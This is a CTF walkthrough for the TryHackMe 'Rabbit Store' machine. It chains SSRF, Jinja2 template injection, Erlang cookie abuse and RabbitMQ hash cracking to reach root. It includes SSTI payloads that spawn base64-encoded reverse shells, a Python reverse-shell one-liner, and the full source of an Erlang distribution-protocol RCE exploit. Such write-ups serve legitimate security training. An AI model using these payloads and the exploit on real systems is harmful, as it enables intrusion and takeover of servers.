# Deconstructing SSRF+SSTI vulns to gain RCE in a Message Broker environment

## Description:

Rabbit Store is medium level machine from tryhackme to test your basic web testing skills and Linux basics. it can be conquered if u have understanding of `SSRF` and `SSTI` vulnerabilities to achieve `RCE` gain access to shell.

Therefore, retrieving `Erlang cookie` to enumerate `RabbitMQ` instance and discover the password for the **root** user, ultimately completing the challenge.

### Basic definitions:

**SSRF(Server-Side Request Forgery):** is a critical web security vulnerability where an attackers tricks a server into making unintended request to internal or external systems, bypassing security controls to access sensitive data, services or execute commands.  
for more info refer to: [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)

**SSTI(Server side template injection):** Server-side template injection is when an attacker is able to use native template syntax to inject a malicious payload into a template, which is then executed server-side.  
For more info refer to: [https://portswigger.net/web-security/server-side-template-injection](https://portswigger.net/web-security/server-side-template-injection)

RabiitMQ: RabbitMQ is an open source message broker(message queue system) that enables applications, services and systems to communicate with each other by sending and receiving messages.  
For more info refer to: [www.rabbitmq.com/docs](http://www.rabbitmq.com/docs)

## Connecting to TryHackMe via Openvpn:

if you are a free user just like me its better to connect your system or VM to TryHackMe machine via openvpn than trying to solve in limited time of Attackbox.

Go to your tryhackme website vpn settings and download your .ovpn configuration file.  
After this run:

```bash
sudo openvpn file.ovpn
```

Check connection status it should be connected by pinging the machine IP.

After this you can start the Rabbit Store machine. wait for few minutes and IP to be revealed.

## First step: Nmap scan

As always we can scan the machine IP from nmap:

```bash
$ nmap -T4 -n -sC -sV -Pn -p- 10.10.74.18
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3f:da:55:0b:b3:a9:3b:09:5f:b1:db:53:5e:0b:ef:e2 (ECDSA)
|_  256 b7:d3:2e:a7:08:91:66:6b:30:d2:0c:f7:90:cf:9a:f4 (ED25519)
80/tcp    open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://cloudsite.thm/
|_http-server-header: Apache/2.4.52 (Ubuntu)
4369/tcp  open  epmd    Erlang Port Mapper Daemon
| epmd-info:
|   epmd_port: 4369
|   nodes:
|_    rabbit: 25672
25672/tcp open  unknown
```

There are 4 open ports `22, 80, 4369` and `25672`. First is ssh, second is http port redirecting to `http://cloudsite.thm/` third is epmd and last is a port of the RabbitMQ broker.

put the IP and site in your /etc/hosts file.

```bash
sudo nano /etc/hosts
```

Now in browser visit this site:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1768815148221/b1f9022e-5594-48e0-8932-4057d84fc44f.png align="center")

Then click on login/signup button. you will be redirected to `storage.cloudsite.thm`, add that to your host file too.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1768815869287/3b73f7d9-4a49-4586-8c62-ec6dcfa26b91.png align="center")

When u create an account you will notice:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1768816007926/5cf2af8e-42e6-480b-8989-27d48d23e306.png align="center")

We can’t use the services because we don’t have a subscription. In the URL you see `/dashboard/inactive`, if you try to access `/dashboard/active`, you will see this page.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1768816197651/7c429de3-ee5c-4cbe-a3ad-eee785f70890.png align="center")

## Finding api endpoints using Gobuster :

we will get:

```bash
$ gobuster dir -u http://storage.cloudsite.thm/api/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words.txt
===============================================================  
/login                (Status: 405) [Size: 36]
/register             (Status: 405) [Size: 36]
/uploads              (Status: 401) [Size: 32]
/docs                 (Status: 403) [Size: 27]
/Login                (Status: 405) [Size: 36]
===============================================================
```

Here, we can see additional `/docs` and `/uploads` api endpoints. Looking into them we find:

```bash
$ curl -s 'http://storage.cloudsite.thm/api/uploads'
{"message":"Token not provided"}

$ curl -s -H 'Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6Imp4ZkBqeGYuY29tIiwic3Vic2NyaXB0aW9uIjoiaW5hY3RpdmUiLCJpYXQiOjE3NDAyMTA2MjEsImV4cCI6MTc0MDIxNDIyMX0.PWbB_b0xgWAO7HXo-oQ2sItj1PuxI27hZ5qGVrE2U0A' 'http://storage.cloudsite.thm/api/uploads'
{"message":"Your subscription is inactive. You cannot use our services."}
```

```bash
$ curl -s 'http://storage.cloudsite.thm/api/docs'
{"message":"Access denied"}

$ curl -s -H 'Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6Imp4ZkBqeGYuY29tIiwic3Vic2NyaXB0aW9uIjoiaW5hY3RpdmUiLCJpYXQiOjE3NDAyMTA2MjEsImV4cCI6MTc0MDIxNDIyMX0.PWbB_b0xgWAO7HXo-oQ2sItj1PuxI27hZ5qGVrE2U0A' 'http://storage.cloudsite.thm/api/docs'
{"message":"Access denied"}
```

The `/api/uploads` endpoint appears to be functioning as intended, returning a **“Token not provided”** message if no token is supplied and a **“Your subscription is inactive.”** message if we provide a token for an inactive account. However, `/api/docs` always returns **“Access denied”**, regardless of whether we provide a token or not.

### Getting active account

Using Burp, we can see that our registration and login requests are sent to the `/api/register` and `/api/login` endpoints, respectively. Also, the response from the `/api/login` endpoint includes a `JWT` cookie.

We can check what is saved in your cookie by putting it in inspector. The data saved in the cookie includes the subscription type, currently it is set to `inactive`:

Note : U can also use JWT.IO to analyze cookie.

To obtain an activated account, we can try for a **mass assignment** vulnerability in the registration functionality by including the `subscription` field set to `active` alongside the `email` and `password` fields during registration with the payload:

Note: We need to create new account and intercept using Burp.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1768816906327/e14d8f0a-eec7-47f7-a292-a593cbf0dca1.avif align="center")

after logging back in we see the response has been changed.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1768820614079/2d35d2bd-e2b2-44d9-b3e1-9d7011a6b913.png align="center")

## SSRF exploitation

Visiting [`http://storage.cloudsite.thm/dashboard/active`](http://storage.cloudsite.thm/dashboard/active), we see two methods for uploading files and a list of uploaded files.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1768822422535/507d94ce-d0b3-4d56-aff8-5a2a347dd311.png align="center")

Inspecting the source code of the dashboard, we notice an interesting script included from `/assets/js/custom_script_active.js`. Reviewing this script at [`http://storage.cloudsite.thm/assets/js/custom_script_active.js`](http://storage.cloudsite.thm/assets/js/custom_script_active.js), we find that it handles most of the functionality displayed on the page.

From the script, we identify two additional endpoints:

* `/api/upload`: Allows file uploads via a `POST` request.
    
* `/api/store-url`: Accepts a **URL** in a `JSON` payload to upload a file.
    

To test this functionality of the `/api/store-url` endpoint, we serve a simple text file using Python:

```bash
$ echo 'test' > test.txt

$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```

We then submit the **URL** for this text file to the application. In the URL uploader.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1768822780317/8a0352ec-6329-48b9-886d-f2692fc13e95.png align="center")

After submitting the URL, we can observe a request being made to our server:

```bash
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.74.18 - - [23/Feb/2025 05:28:18] "GET /test.txt HTTP/1.1" 200 -
```

This confirms our **SSRF** vulnerability.

Now, remember how we didn’t had access to `/api/doc`, when we try to force the server to make a request to [`http://storage.cloudsite.thm/api/docs`](http://storage.cloudsite.thm/api/docs), we received the same old **“Access denied”** message as before.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1768825041042/85800da5-66b2-4306-b18a-e566a23fecda.png align="center")

Now, if we were to leverage **SSRF, putting request in uploader: by putting** `http://127.0.0.1:80/docs` we try to access the `/api/docs` endpoint locally on port 80:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1768825375547/a628aac9-554e-489b-a70d-d4df8a4965ee.avif align="center")

Note :in `http://127.0.0.1:80/docs` 127.0.0.1 is IP and 80 means its a http request.

But it doesn’t work as expected. It seems port 80 is not API endpoint.

But now we can attempt to access the `API` endpoint directly by requesting [`http://127.0.0.1:3000/api/docs`](http://127.0.0.1:3000/api/docs). (We use port **3000** as it is the default port for **Express**, which we know the API server runs on, as indicated by the **X-Powered-By: Express** header.)

CAUTION: I am using port 3000 directly here as its I already knew about it. better would be to run a python script to find services on other ports on [localhost](http://localhost). To do this, we simply check whether the requested service gives us a download link. To save time u can ask any AI like Chatgpt or Gemini to generate a script for u.

We make a request for [`http://127.0.0.1:3000/api/docs`](http://127.0.0.1:3000/api/docs):

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1768826191119/3c8f40c4-4c61-4969-ae41-27fc7ab4feed.avif align="center")

And we receive the documentation with the endpoint `/api/fetch_messeges_from_chatbot`, which is still under development.

## RCE via SSTI

Testing the newly discovered `/api/fetch_messeges_from_chatbot` endpoint by making a **POST** request with an empty **JSON** payload using burp, we receive the message **“username parameter is required”**.

We simply test for SSTI and it gets evaluated:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1768829518954/fd828c46-9fa4-411e-bd37-938e7bed65da.png align="center")

We use a payload from [Ingo Kleiber](https://kleiber.me/blog/2021/10/31/python-flask-jinja2-ssti-example/) to test for RCE on Flask (Jinja2) SSTI and are successful.

## Shell as user “azrael”

Since we have RCE through SSTI, we prepare a reverse shell using [`revshells.com`](http://revshells.com).

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1768829864477/5d09b7b6-48c0-48c5-a0b9-d36ef4e21275.avif align="center")

Next, we prepare our SSTI payload, set up a listener on our desired port and submit the request.

```bash
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
```

```bash
{{request.application.__globals__.__builtins__.__import__('os').popen('echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjE0LjkwLjIzNS80NDQ1IDA+JjE=|base64 -d|bash').read()}}
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1768830037331/dc6f9bc4-8ac0-49e9-a54d-039cd867f7af.avif align="center")

We get a connection back, and are the user `azrael`. We will upgrade our shell.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1768830138940/22e73a42-a51e-420a-b03a-36786c3b62da.avif align="center")

The user flag can be found in the home directory of `azrael`.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1768830354738/4e873b3f-8dd0-427c-8511-a8fd3a53dec1.png align="center")

## Shell as RabbitMQ

On enumerating the target we also use pspy. It is a command line tool designed to snoop on processes without need for root permissions.

[GitHub - DominicBreuker/pspy: Monitor linux processes without root permissionsGitHub](https://github.com/DominicBreuker/pspy)

We download and execute the tool.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1768830473126/982e75c5-13d9-41a4-a156-924e8dbea6e8.avif align="center")

And there is something going on using Erlang and RabbitMQ. We recall the Nmap scan with the results on `4369` Erlang Port Mapper Daemon, `25672` RabbitMQ.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1768830552638/199ce338-f789-4120-9b36-ee3f3ae18cac.avif align="center")

A look into the `/etc/passwd` file confirms, that there is the user `rabbitmq`.

If we check the `/var/lib/rabbitmq/` directory we can find an `.erlang` cookie.

```bash
azrael@forge:/var/lib/rabbitmq$ ls -la
total 896
drwxr-xr-x  5 rabbitmq rabbitmq   4096 Sep 12 00:32 .
drwxr-xr-x 45 root     root       4096 Sep 20 19:11 ..
drwxr-x---  3 rabbitmq rabbitmq   4096 Aug 15  2024 config
-r-----r--  1 rabbitmq rabbitmq     16 Feb 23 11:11 .erlang.cookie
-rw-r-----  1 rabbitmq rabbitmq 889381 Feb 23 11:11 erl_crash.dump
drwxr-x---  4 rabbitmq rabbitmq   4096 Feb 23 11:11 mnesia
-rw-r-----  1 rabbitmq rabbitmq      0 Sep 12 00:33 nc
drwxr-x---  2 rabbitmq rabbitmq   4096 Jul 18  2024 schema
```

You can see that the `.erlang.cookie` is readable to us, which might allow us to get RCE as an user and can escalate our privileges.

Now we can use [`erl-matter`](https://github.com/gteissier/erl-matter) repository contains several exploits regarding Erlang with RabbitMQ. One of which would allow us RCE: [`shell-erldp.py`](http://shell-erldp.py).

```python
#shell-erldp.py
#!/usr/bin/env python2

from struct import pack, unpack
from cStringIO import StringIO
from socket import socket, AF_INET, SOCK_STREAM, SHUT_RDWR
from hashlib import md5
from binascii import hexlify, unhexlify
from random import choice
from string import ascii_uppercase
import sys
import argparse
import erlang as erl

def rand_id(n=6):
  return ''.join([choice(ascii_uppercase) for c in range(n)]) + '@nowhere'

parser = argparse.ArgumentParser(description='Execute shell command through Erlang distribution protocol')

parser.add_argument('target', action='store', type=str, help='Erlang node address or FQDN')
parser.add_argument('port', action='store', type=int, help='Erlang node TCP port')
parser.add_argument('cookie', action='store', type=str, help='Erlang cookie')
parser.add_argument('--verbose', action='store_true', help='Output decode Erlang binary term format received')
parser.add_argument('--challenge', type=int, default=0, help='Set client challenge value')
parser.add_argument('cmd', default=None, nargs='?', action='store', type=str, help='Shell command to execute, defaults to interactive shell')

args = parser.parse_args()

name = rand_id()

sock = socket(AF_INET, SOCK_STREAM, 0)
assert(sock)

sock.connect((args.target, args.port))

def send_name(name):
  FLAGS = (
    0x7499c +
    0x01000600 # HANDSHAKE_23|BIT_BINARIES|EXPORT_PTR_TAG
  )
  return pack('!HcQIH', 15 + len(name), 'N', FLAGS, 0xdeadbeef, len(name)) + name

sock.sendall(send_name(name))

data = sock.recv(5)
assert(data == '\x00\x03\x73\x6f\x6b')

data = sock.recv(4096)
(length, tag, flags, challenge, creation, nlen) = unpack('!HcQIIH', data[:21])
assert(tag == 'N')
assert(nlen + 19 == length)
challenge = '%u' % challenge

def send_challenge_reply(cookie, challenge):
  m = md5()
  m.update(cookie)
  m.update(challenge)
  response = m.digest()
  return pack('!HcI', len(response)+5, 'r', args.challenge) + response

sock.sendall(send_challenge_reply(args.cookie, challenge))


data = sock.recv(3)
if len(data) == 0:
  print('wrong cookie, auth unsuccessful')
  sys.exit(1)
else:
  assert(data == '\x00\x11\x61')
  digest = sock.recv(16)
  assert(len(digest) == 16)

print('[*] authenticated onto victim')


# Protocol between connected nodes is based on pre 5.7.2 format
def erl_dist_recv(f):
  hdr = f.recv(4)
  if len(hdr) != 4: return
  (length,) = unpack('!I', hdr)
  data = f.recv(length)
  if len(data) != length: return

  # Remove 0x70 from the head of the stream
  data = data[1:]

  print("Received data to parse: %s" % data)  # Logging the raw data

  while data:
    try:
      (parsed, term) = erl.binary_to_term(data)
      if parsed <= 0:
        print('Failed to parse Erlang term, raw data: %s' % data)
        break
    except erl.ParseException as e:
      print('ParseException occurred: %s. Data: %s' % (str(e), data))
      break

    print("Parsed term: %s" % str(term))  # Log parsed term for debugging

    yield term
    data = data[parsed:]


def encode_string(name, type=0x64):
  return pack('!BH', type, len(name)) + name

def send_cmd_old(name, cmd):
  data = (unhexlify('70836804610667') + 
    encode_string(name) + 
    unhexlify('0000000300000000006400006400037265') +
    unhexlify('7883680267') + 
    encode_string(name) + 
    unhexlify('0000000300000000006805') +
    encode_string('call') +
    encode_string('os') +
    encode_string('cmd') +
    unhexlify('6c00000001') + 
    encode_string(cmd, 0x6b) + 
    unhexlify('6a') + 
    encode_string('user'))

  return pack('!I', len(data)) + data


def send_cmd(name, cmd):
  # REG_SEND control message
  ctrl_msg = (6,
    erl.OtpErlangPid(erl.OtpErlangAtom(name), '\x00\x00\x00\x03', '\x00\x00\x00\x00', '\x00'),
    erl.OtpErlangAtom(''),
    erl.OtpErlangAtom('rex'))
  msg = (
    erl.OtpErlangPid(erl.OtpErlangAtom(name), '\x00\x00\x00\x03', '\x00\x00\x00\x00', '\x00'),
    (
      erl.OtpErlangAtom('call'),
      erl.OtpErlangAtom('os'),
      erl.OtpErlangAtom('cmd'),
      [cmd],
      erl.OtpErlangAtom('user')
    ))

  new_data = '\x70' + erl.term_to_binary(ctrl_msg) + erl.term_to_binary(msg)

  print("Sending command data: %s" % new_data)  # Log the command being sent

  return pack('!I', len(new_data)) + new_data

def recv_reply(f):
  terms = [t for t in erl_dist_recv(f)]
  if args.verbose:
    print('\nReceived terms: %r' % (terms))

  if len(terms) < 2:
    print("Error: Unexpected number of terms received")
    return None

  answer = terms[1]
  if len(answer) != 2:
    print("Error: Unexpected structure in answer")
    return None

  return answer[1]


if not args.cmd:
  while True:
    try:
      cmd = raw_input('%s:%d $ ' % (args.target, args.port))
    except EOFError:
      print('')
      break

    sock.sendall(send_cmd(name, cmd))

    reply = recv_reply(sock)
    if reply:
      sys.stdout.write(reply)
    else:
      print("Failed to receive a valid reply")

else:
  sock.sendall(send_cmd(name, args.cmd))

  reply = recv_reply(sock)
  if reply:
    sys.stdout.write(reply)
  else:
    print("Failed to receive a valid reply")


print('[*] disconnecting from victim')
sock.close()
```

Running this program:

```bash
$ python2 shell-erldp.py 10.10.227.32 25672 HIDDENCOOKIE
[*] authenticated onto victim
10.10.227.32:25672 $ python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.14.78.229",9002));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
```

Next, we prepare a reverse shell payload using [`revshells.com`](http://revshells.com).

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1769031798376/89d7174f-9e38-4393-a16f-59b446d343dc.avif align="center")

We set up a listener and issue the command to get a reverse shell.

```bash
python2 shell-erldp2.py rabbitstore.thm 25672 REDACTED 'echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjE0LjkwLjIzNS80NDQ2IDA+JjE= | base64 -d | bash'
```

We will now get a shell as RabbitMQ.

```bash
$ nc -lvnp 4446
listening on [any] 4446 ...
connect to [10.14.90.235] from (UNKNOWN) [10.10.227.32] 52932
$ whoami
whoami
rabbitmq
```

## Shell as root

Since we are now the `rabbitmq` user, we could issue RabbitMQ commands with `rabbitmqctl`. One of the ideas could be to retrieve the users and passwords to check if they are reused. But we get an error. The `.erlang.cookie` is not only owned by the owner itself. With that issue we are not able to execute rabbitmqctl commands.

![](https://0xb0b.gitbook.io/writeups/~gitbook/image?url=https%3A%2F%2F2148487935-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FoqaFccsCrwKo1CHmLRKW%252Fuploads%252F3kWuLxDPKEB4Kn0lgt47%252Fgrafik.png%3Falt%3Dmedia%26token%3Dd3baefe5-ad74-49af-83bf-b2ead519e6c3&width=768&dpr=4&quality=100&sign=459a7a07&sv=2 align="left")

Nevertheless, we can view the `rabbit_user.DCD`. This file is part of the RabbitMQ database. There is a message indicating that the root user's password is the same as the SHA-256 hash of the RabbitMQ root user's password.

![](https://0xb0b.gitbook.io/writeups/~gitbook/image?url=https%3A%2F%2F2148487935-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FoqaFccsCrwKo1CHmLRKW%252Fuploads%252FeS0sNcHHaRd4wN8HtD1t%252Fgrafik.png%3Falt%3Dmedia%26token%3D72cc58c9-2951-4701-bd45-29b677d1b04b&width=768&dpr=4&quality=100&sign=1d8ed105&sv=2 align="left")

With this you can add an user and give it administrator privileges:

```bash
rabbitmq@forge:~$ rabbitmqctl add_user abc 123
Adding user "abc" ...
rabbitmq@forge:~$ rabbitmqctl set_user_tags abc administrator
Setting tags for user "abc" to [administrator] ...
```

You can now use the internal API of the RabbitMQ management server on port 15672 to get some information.

```bash
rabbitmq@forge:~$ curl -u "imposter:123" localhost:port http://localhost:15672/api/users                                                                                                               
curl: (3) URL using bad/illegal format or missing URL                                                                                                                                                         
[{"name":"The password for the root user is the SHA-256 hashed value of the RabbitMQ root user's password. Please don't attempt to crack SHA-256.","password_hash":"vyf4qvKLpShONYgEiNc6xT/5rLq+23A2RuuhEZ8N10kyN34K","hashing_algorithm":"rabbit_password_hashing_sha256","tags":[],"limits":{}},{"name":"abc","password_hash":"y+k4c/x1Oi/ftAaMPZ3tUAUldbnhpCpOJcb/1EOYe+j4M1Zp","hashing_algorithm":"rabbit_password_hashing_sha256","tags":["administrator"],"limits":{}},{"name":"root","password_hash":"THISISNOTTHEREALHASH","hashing_algorithm":"rabbit_password_hashing_sha256","tags":["administrator"],"limits":{}}]
```

This is the user list in a more readable format, the list includes the password in a base64 hashed format.

```json
[
  {
    "name": "The password for the root user is the SHA-256 hashed value of the RabbitMQ root user's password. Please don't attempt to crack SHA-256.",
    "password_hash": "vyf4qvKLpShONYgEiNc6xT/5rLq+23A2RuuhEZ8N10kyN34K",
    "hashing_algorithm": "rabbit_password_hashing_sha256",
    "tags": [],
    "limits": {}
  },
  {
    "name": "abc",
    "password_hash": "y+k4c/x1Oi/ftAaMPZ3tUAUldbnhpCpOJcb/1EOYe+j4M1Zp",
    "hashing_algorithm": "rabbit_password_hashing_sha256",
    "tags": [
      "administrator"
    ],
    "limits": {}
  },
  {
    "name": "root",
    "password_hash": "THISISNOTTHEREALHASH",
    "hashing_algorithm": "rabbit_password_hashing_sha256",
    "tags": [
      "administrator"
    ],
    "limits": {}
  }
]
```

We can then crack this hash using a python script or the bash script i found [here](https://github.com/QKaiser/cottontail/issues/27) on Github

```bash
echo <base64 rabbit mq hash> | base64 -d | xxd -pr -c128 | perl -pe 's/^(.{8})(.*)/$2:$1/' > hash.txt
hashcat -m 1420 --hex-salt hash.txt wordlist
```

Now we can use the output to log into root. ... and use the a to switch user to root and find the final flag in the root's home directory.
